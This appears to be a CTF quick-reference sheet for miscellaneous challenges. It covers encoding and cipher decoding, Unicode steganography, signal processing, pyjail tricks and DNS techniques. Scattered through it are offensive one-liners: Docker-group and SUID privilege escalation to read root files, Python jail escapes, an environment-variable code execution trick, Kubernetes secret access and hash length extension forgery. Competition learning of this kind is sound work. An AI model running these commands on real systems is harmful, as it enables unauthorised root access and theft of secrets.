CTF Miscellaneous

Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.

Additional Resources

pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition
bashjails.md - Bash jail/restricted shell escape techniques
encodings.md - Encodings, QR codes, esolangs, Verilog/HDL, UTF-16 tricks, BCD encoding, multi-layer auto-decoding, Gray code cyclic encoding, indexed directory QR reassembly, multi-stage URL encoding chains
rf-sdr.md - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)
dns.md - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)
games-and-vms.md - WASM patching, Roblox place file reversing, PyInstaller, marshal, Python env RCE, Z3, K8s RBAC, floating-point precision exploitation, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, custom assembly language sandbox escape via Python MRO chain, ML weight perturbation negation, cookie checkpoint game brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, LoRA adapter weight merging and visualization, De Bruijn sequence, Brainfuck instrumentation, WASM linear memory manipulation

General Tips

Read all provided files carefully
Check file metadata, hidden content, encoding
Power Automate scripts may hide API calls
Use binary search when guessing multiple answers

Common Encodings

# Base64
echo "encoded" | base64 -d

# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d

# Hex
echo "68656c6c6f" | xxd -r -p

# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'

Identify by charset:

Base64: A-Za-z0-9+/=
Base32: A-Z2-7= (no lowercase)
Hex: 0-9a-fA-F

See encodings.md for Caesar brute force, URL encoding, and full details.

IEEE-754 Float Encoding (Data Hiding)

Pattern (Floating): Numbers are float32 values hiding raw bytes.

Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.

import struct
floats = [1.234e5, -3.456e-7, ...]  # Whatever the challenge gives
flag = b''
for f in floats:
    flag += struct.pack('>f', f)
print(flag.decode())

Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.

USB Mouse PCAP Reconstruction

Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.

File Type Detection

file unknown_file
xxd unknown_file | head
binwalk unknown_file

Archive Extraction

7z x archive.7z           # Universal
tar -xzf archive.tar.gz   # Gzip
tar -xjf archive.tar.bz2  # Bzip2
tar -xJf archive.tar.xz   # XZ

Nested Archive Script

while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
    7z x -y "$f" && rm "$f"
done

QR Codes

zbarimg qrcode.png       # Decode
qrencode -o out.png "data"

See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.

Audio Challenges

sox audio.wav -n spectrogram  # Visual data
qsstv                          # SSTV decoder

RF / SDR / IQ Signal Processing

See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).

Quick reference:

cf32: np.fromfile(path, dtype=np.complex64) | cs16: int16 reshape(-1,2) | cu8: RTL-SDR raw
Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability
4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation

pwntools Interaction

from pwn import *

r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()

Python Jail Quick Reference

Oracle pattern: L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.
Walrus bypass: (abcdef := "new_chars") reassigns constraint vars
Decorator bypass: @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escape
String join: open(''.join(['fl','ag.txt'])).read() when + is blocked

See pyjails.md for full techniques.

Z3 / Constraint Solving

from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model

See games-and-vms.md for YARA rules, type systems as constraints.

Hash Identification

MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995

SHA-256 Length Extension Attack

MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.

import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)

Technique Quick References

PyInstaller: pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping.
Marshal: marshal.load(f) then dis.dis(code). See games-and-vms.md.
Python env RCE: PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd". See games-and-vms.md.
WASM patching: wasm2wat -> flip minimax -> wat2wasm. See games-and-vms.md.
Float precision: Large multipliers amplify FP errors into exploitable fractions. See games-and-vms.md.
K8s RBAC bypass: SA token -> impersonate -> hostPath mount -> read secrets. See games-and-vms.md.
Cookie checkpoint: Save session cookies before guesses, restore on failure to brute-force without reset. See games-and-vms.md.
Flask cookie game state: flask-unsign -d -c '<cookie>' decodes unsigned Flask sessions, leaking game answers. See games-and-vms.md.
WebSocket teleport: Modify player.x/player.y in console, call verification function. See games-and-vms.md.
Time-only validation: Start session, time.sleep(required_seconds), submit win. See games-and-vms.md.
LoRA adapter merging: Merge W + B@A low-rank matrices, threshold to binary, visualize as bitmap for hidden flag. See games-and-vms.md.
Quine context detection: Dual-purpose quine that prints itself (passes validation) and runs payload only in server process via globals gate. See pyjails.md.
Repunit decomposition: Decompose target integer into sum of repunits (1, 11, 111, ...) using only 2 characters (1 and +) for restricted eval. See pyjails.md.
De Bruijn sequence: B(k, n) contains all k^n possible n-length strings as substrings; linearize by appending first n-1 chars. See games-and-vms.md.
Brainfuck instrumentation: Instrument BF interpreter to track tape cells, brute-force flag character-by-character via validation cell. See games-and-vms.md.
WASM memory manipulation: Patch WASM linear memory at runtime to set game state variables directly, bypassing game logic. See games-and-vms.md.
Neural network encoder collision: Greedy search + simulated annealing finds collisions in dimensionality-reducing encoders (16D→4D). See games-and-vms.md.

3D Printer Video Nozzle Tracking (LACTF 2026)

Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.

Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:

# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear

Discord API Enumeration (0xFun 2026)

Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).

SUID Binary Exploitation (0xFun 2026)

# Find SUID binaries
find / -perm -4000 2>/dev/null

# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'

Reference: https://gtfobins.github.io/

Linux Privilege Escalation Quick Checks

# GECOS field passwords
cat /etc/passwd  # Check 5th colon-separated field

# ACL permissions
getfacl /path/to/restricted/file

# Sudo permissions
sudo -l

# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Docker Group Privilege Escalation (H7CTF 2025)

User in the docker group can mount the host filesystem into a container and chroot into it for root access.

# Check group membership
id  # Look for "docker" in groups

# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# Now running as root on the host filesystem
cat /root/flag.txt

Key insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.

Reference: https://gtfobins.github.io/gtfobins/docker/

Useful One-Liners

grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"

Keyboard Shift Cipher

Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.

Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"

Decoding: Use dCode Keyboard Shift Cipher with automatic mode.

Pigpen / Masonic Cipher

Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.

Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"

Decoding: Map symbols to Pigpen grid positions, or use online decoder.

ASCII in Numeric Data Columns

Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.

import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)

CyberChef: "From Decimal" recipe with line feed delimiter.

Backdoor Detection in Source Code

Pattern (Rear Hatch): Hidden command prefix triggers system() call.

Common patterns:

strncmp(input, "exec:", 5) -> runs system(input + 5)
Hex-encoded comparison strings: \x65\x78\x65\x63\x3a = "exec:"
Hidden conditions in maintenance/admin functions

DNS Exploitation Techniques

See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).

Quick reference:

ECS spoofing: dig @server flag.example.com TXT +subnet=10.13.37.1/24 - try leet-speak IPs (1337)
NSEC walking: Follow NSEC chain to enumerate DNSSEC zones
IXFR: dig @server domain IXFR=0 when AXFR is blocked
DNS rebinding: Low-TTL alternating resolution to bypass same-origin
DNS tunneling: Data exfiltrated via subdomain queries or TXT responses

Unicode Steganography

Variation Selectors Supplement (U+E0100-U+E01EF)

Patterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.

# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:]  # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)

Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.

Unicode Tags Block (U+E0000-U+E007F) (UTCTF 2026)

Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).

import urllib.parse

url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)

flag = ''.join(
    chr(ord(ch) - 0xE0000)
    for ch in decoded
    if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)

Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.

Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).

UTF-16 Endianness Reversal

Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.

# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')

Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.

Cipher Identification Workflow

ROT13 - Challenge mentions "ROT", text looks like garbled English
Base64 - A-Za-z0-9+/=, title hints "64"
Base32 - A-Z2-7= uppercase only
Atbash - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution
Pigpen - Geometric symbols on grid
Keyboard Shift - Text looks like adjacent keys pressed
Substitution - Frequency analysis applicable

Auto-identify: dCode Cipher Identifier